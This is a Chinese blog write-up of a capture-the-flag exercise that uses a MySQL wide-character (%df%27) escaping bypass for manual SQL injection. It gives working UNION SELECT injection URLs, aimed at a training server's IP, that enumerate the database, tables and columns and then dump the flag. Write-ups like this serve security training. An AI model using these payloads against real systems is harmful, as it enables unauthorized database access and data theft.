利用MySQL宽字符漏洞进行手工SQL注入

利用MySQL宽字符漏洞进行手工SQL注入

时间:2016-11-02 作者:zhankehua 评论:0 点击:7069 次

在一信息安全攻防训练平台上看到了一个关于SQL注入漏洞的题目。如下图:

一看就知道,是字符型SQL注入。还是一样的流程,先探测一下吧。

发现引号被转义了,那怎么办?这时想到了以前遇到过的关于宽字符注入,那就试试吧。

输入id=2%df%27 or 1=1%23


看看结果,竟然正确执行了。太好了,那就断续渗透吧。

1)暴数据库名

http://115.28.150.176/sqli/index.php?id=-1%df%27 union SELECT 1,database()%23

很容易就查出数据库名为sqli1, 那就断续暴表的名字吧!

2)暴表名

http://115.28.150.176/sqli/index.php?id=-1%df%27 UNION SELECT 1,TABLE_NAME FROM information_schema.TABLES where table_SCHEMA=0x73716C6931%23

注意,这里的数据库名一定要使用mysql的十六进制编码。


看看,表名出来了吧,就是flag和news。注意flag后面的id是另一行的,不要认为flagid是表名哦。

查出了表名,那我们该查列了。

3)暴列

http://115.28.150.176/sqli/index.php?id=-1%df%27 UNION SELECT 1,COLUMN_NAME FROM information_schema.COLUMNS where table_NAME=0x666C6167%23


ok,现在列名也知道了,那就好办了,直接列出内容吧。

4)暴表中的内容

http://115.28.150.176/sqli/index.php?id=-1%df%27 UNION SELECT 1,fl4g FROM flag%23



看看结果出来了吧,是不是很easy?:)

已有 7069 位网友参与,快来吐槽:

发表评论

必填

选填

选填

◎欢迎参与讨论,发表您的看法、交流您的观点。